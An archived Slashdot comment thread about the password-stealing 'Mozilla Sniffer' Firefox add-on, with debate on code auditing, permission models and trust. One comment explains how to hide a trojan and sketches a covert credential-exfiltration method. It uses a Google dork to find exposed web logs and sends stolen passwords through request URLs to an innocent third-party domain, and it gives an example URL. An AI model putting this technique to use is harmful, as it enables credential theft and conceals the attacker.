Slashdot Mirror
How the Mozilla Sniffer Backdoor Was Discovered
An anonymous reader writes "Mozilla pulled one of their Firefox add-ons earlier this week for containing a backdoor which stole passwords from its users. Netcraft has taken a closer look at how the rogue extension worked, and how it was discovered by chance rather than through any code review process. Mozilla are working on a new security model to stop this kind of backdoor happening again."
Looks like the stolen data was being sent to a hacked BlueHost account. Figures.
there is no way some rogue developer could hide password stealing code in them.
And since Opera is not open source, there is no way to be sure of that.
And Firefox is open source, and there is no way to be sure of it.
"Sacrifice for the good of The State" - The State
Unless you go through all the code yourself, there's no way to be sure of anything. And unless you're uber-bad-ass, its going to be really hard to understand every line in a massive code-base someone else wrote, let alone all they all play together. So, even if you do your own audit, you can't really be sure. Life's a bitch, isn't it?
It is impossible to be sure, all sorts of surprisingly devious side channels have been devised(that, and some fairly dramatically invasive behavior by vendors has become accepted as normal; after all, only a freetard would object to an application phoning home routinely...); but for something like Opera, where "non-malicious" network activity is fairly easy to characterize, checking for malicious network activity is far from impossible, without even touching the binary(something like Skype, on the other hand, where the network activity is a big, fat, blackbox, is a lot trickier).
In this case, for instance, the malice was flagged by somebody watching network traffic, which is pretty trivial on any platform that doesn't have a bad case of being a console/iProduct. A purely binary, closed source, application could have been caught in exactly the same way.
Good job not actually telling the name of the offending plugin in the article blurb there. 'A new severe bug in mozilla is allowing hooligans to steal your passwords. But we won't tell you which one until after the break!'
I have nothing compelling to say
Do you mean to say that, when I install a Firefox add-on, Firefox won't give a list of requested privileges? Why has it taken 30 years for people who think in Unix security terms to not catch up to the VMS "fine-grained privileges to executables for users" security model?
The whole regular user / root thing is awful. Microsoft is still doing it wrong because, while the NT kernel may approach the right idea, it builds atop it a mess of get-out-of-jail-free paths.
It's not impossible.
(1) By default, allow nothing;
(2) Never allow everything - require software to specify exactly what it needs;
(3) Classify permissions so the user is alerted more violently for more risky permissions - this may depend on the circumstances (e.g. a browser add-on usually shouldn't be asking for the same sort of privileges as backup software);
(4) Software which needs an unusually privileged environment may benefit from auditing and signing, but never make this compulsory because this pisses off everyone;
(5) But, by default, refuse in such circumstances and indicate why. The user needs to make a conscious effort to override a reasonable set of auto-refusal defaults;
(6) Distinguish explicitly between once, occasional, time-limited and forever permissions. To take a particularly insidious example: iPhones ask if you want to give permission for your app to read your GPS location. This isn't permission for the next 15 minuts or day; it's permission forever. That is wrong. Looked at from the other end, don't do a Vista and ask every time. This is worse than not asking at all.
More thoughts, guise?
Is there? Apple's review process doesn't demand source(and, given the review volume, there is Absolutely. No. Way they would be giving proper attention to detecting subtle malice, even if they did). The review process seems to be reasonably good at weeding out applications that crash horribly often enough that the reviewer will run into a crash, which blatantly violate the rules, which seem likely to be fodder for stories that will tarnish Apple's PR, or which "duplicate" some feature that exists or is on Apple's secret roadmap. It has also been rumored that they have some sort of static analysis tool to detect use of private APIs.
.NET one, and as they have announced they will do here).
Nothing in that process would detect any but the most blatantly unsubtle malice(and, given that reviews tend to occur fairly quickly, something as simple as recording the date of first run, and not doing anything evil until 1 month has passed would probably count as "subtle" for the purposes of this exercise).
If malice is detected by a third party, or by some after-the-fact spot-check; both Apple and Android have practically identical capabilities to "unpublish and remove" an application from any device that hasn't been divorced from the mothership. For that matter, Mozilla can also issue FF updates that disable add-ons(as they did a while back for that MS
>And since Opera is not open source, there is no way to be sure of that.
Sure there is, you can reverse-engineer it to see what it does. You know, just because all you have is the binary doesn't mean you've suddenly entered a magic land where nothing can be understood.
(I'm going to ignore "but can you trust your tools" asshatery)
Belief is the currency of delusion.
Not only that, but the author couldn't even use proper English in the addon description:
Given that, I hate to say that "people had it coming", but I figure people had ample warning that they were trying something that could be malicious.
Unless you go through all the code yourself, there's no way to be sure of anything.
Only thing that can be made about that statement is to point to a nice little presentation by Ken Thompson. Take a look at 'Reflections on Trusting Trust'. Almost certain you haven't seen it given your comment.
No, I've seen it. I used to have a pretty decent email pen-pal thing going on with Ken about 10 years ago. He's a pretty cool dude. The point is, yes, even if you see the code, unless you have the code to the compiler and build it yourself, then you can't trust the binary. Basically, you can't trust anything you don't create from scratch. There could also be back-doors in ROM in the hardware. Which is why I go on to say how even if you do your own audit you can't actually trust anything. Either you won't understand everything, you'll have taken in too much information and miss something vital or,as per your example, the real root of the problem will be so obscured from view that it doesn't even matter what you're auditing.
It was a modified version of Tamper Data that the author alleged "many problems have been solved in this version".
In addition to modifying several existing files, the author added a file called tamperPost.js that very deliberately sends every form submission to a remote server. You can see some of the code of this on the Netcraft article in the summary (or or a direct link to the image)
When you see the image, you can see that it was obviously a deliberate attempt to steal credentials.
The addon was called "Mozilla Sniffer", and people still installed it? I would understand if this was some functionallity hidden in a valid sounding addon but its called "Mozilla Sniffer". User FAIL.
Rob
Reminds me of a line in Doctor Who's last season:
Amy: You don't always tell me the truth.
The Doctor: If I always told you the truth, I wouldn't have to ask you to trust me.
Trust is not a state of absolute certainty or God-like understanding. In the end, it's a process of establishing your own comfort. You have to decide which risks matter to you personally, and which assurances are sufficient.
Trying to guarantee that every component and piece of software in a computer is "benign" to everyone is a fruitless, endless process.
But I certainly appreciate the complications you bring up. In the final analysis, all trust must be conditional, and revocable.
--
Toro
When writing Trojans like this, there are several considerations that this author failed on.
1) Obscuring the code, so that it lasts longer, even upon scrutiny of the source.
2) Obscuring the password delivery mechanism to reduce the likelihood of detection of the code execution.
3) Obscure the password retrieval, to reduce the likelihood that the perpetrator would be caught, even if the authorities discover the code.
Much has been written about item 1, obscuring code. But I haven't seen much research describing items 2 or 3.
If I were writing the code, I would integrate the password theft and remote delivery into the main purpose of the code. For instance, say you wrote a plug-in whose function was to report to the user some information retrieved from Google and other sites. e.g. "This plug-in helps with Search Engine Optimization, by reporting potential keywords that can be added to the web page to increase results". With that sort of purpose, hits to Google and other sites wouldn't be suspected.
Some of my hits to Google would be to locate an open log file, with a Google Query like this query: "get / http/1.1" 200 mozilla filetype:log
Once I found a web server with a log file that was openly being displayed on the web, I'd pass the stolen information (stolen user name, stolen password, and site that this information can be used on) in the form of a URL, possibly encoding the payload information (I don't encode it below, for clarity).
Then my rouge program would request a few more pages from other sites that have open log files, just to obscure my activities, specifically requesting the log file page itself (and disposing of the results). I'll explain why this step is important later...
Example: Using my Google query above, I can see that bullyentertainment.com has its logfile exposed (sorry, bullyentertainment, you're just the first one on my list of hundreds of thousands of open logfiles). That means that my trojan horse can request a page on bullyentertainment.com, (like www.bullyentertainment.com/stolen_info?user=myuser&pwd=hunter2&site=gmail.com it will log my hit into that file - logging the stolen user name, password, and site information into a remote innocent bystander server. If my rouge program requests a page on bullyentertainment.com with some information encoded in the URL, I can effectively transfer the secret stolen information from the infected PC to an innocent bystander (bullyentertainment.com).
Then later, back at secret spy headquarters, I can use the same Google Query to locate log files that have my secret information in them, like www.bullyentertainment.com/logs/access.log which was a log file shown by my Google Query. I can follow the same pattern as the infected PC - first hit a page passing some URL containing secret information, and then retrieve the log file - so my activities ALSO look like an infected PC. But by retrieving the log file, I have retrieved all of the stolen passwords.
This technique is a way to pass stolen information back to the hacker without detection, by going through an intermediary. Because spy headquarters uses the same procedure as a hacked PC, it cannot easily be detected as the destination of the information. Use of proxies can further hinder attempts to catch the hacker. In a real hack, I'd encode the secret information, so that only I was able to easily decode it. But you get the idea.
PS If you test the above links, no harm, but your IP address will be logged (just as it is with any click), but it will be visible to other users on an exposed log file. No big deal, but I thought I'd mention it.
LOL
Extension of trust works as follows:
If you trust Bob, and Bob trusts Alice, you trust Alice.
However, no one ever fully trusts Bob.
So, more explicitly, extension of trust is as follows:
If you trust Bob to a degree, and Bob trusts Alice, you trust Alice to the same degree that you trust Bob.
But this is incorrect as well. Because Bob's trust relationship with Alice is also "to a degree". Let's try this again:
If you trust Bob to a degree, and Bob trusts Alice, you trust Alice only to the product of the two degrees.
Trust does degrade with each step in the relationship chain.
One of the most common "degrees" of trust is a restriction on forwarding that trust. We never actually "trust" Bob, we simply authorize him (as a supplier of code, a maintainer of data, etc.) to access our shit because we need to get shit done. The "trust" relationship is not freely given - privacy and access are sold in exchange for access to various services.
Thus, the degree of trust in an actual relationship is not a measure of actual trust, but a measure of what you are willing to risk.
The claim against the "you can only trust yourself" argument is that if you trust Bob, you must trust Alice in the same manner, because you are trusting Bob's integrity (who he chooses to trust). The claim is bullshit, because we never "trust" Bob - we simply accept a certain level of risk, and built into our threshold of acceptable risk is the restrictions on who Bob can extend that trust to.
The bottom line is that we can indeed choose to trust Bob completely and choose to not trust Alice at all. This is because the "trust" relationship is never actually based on trust - it is based on risk.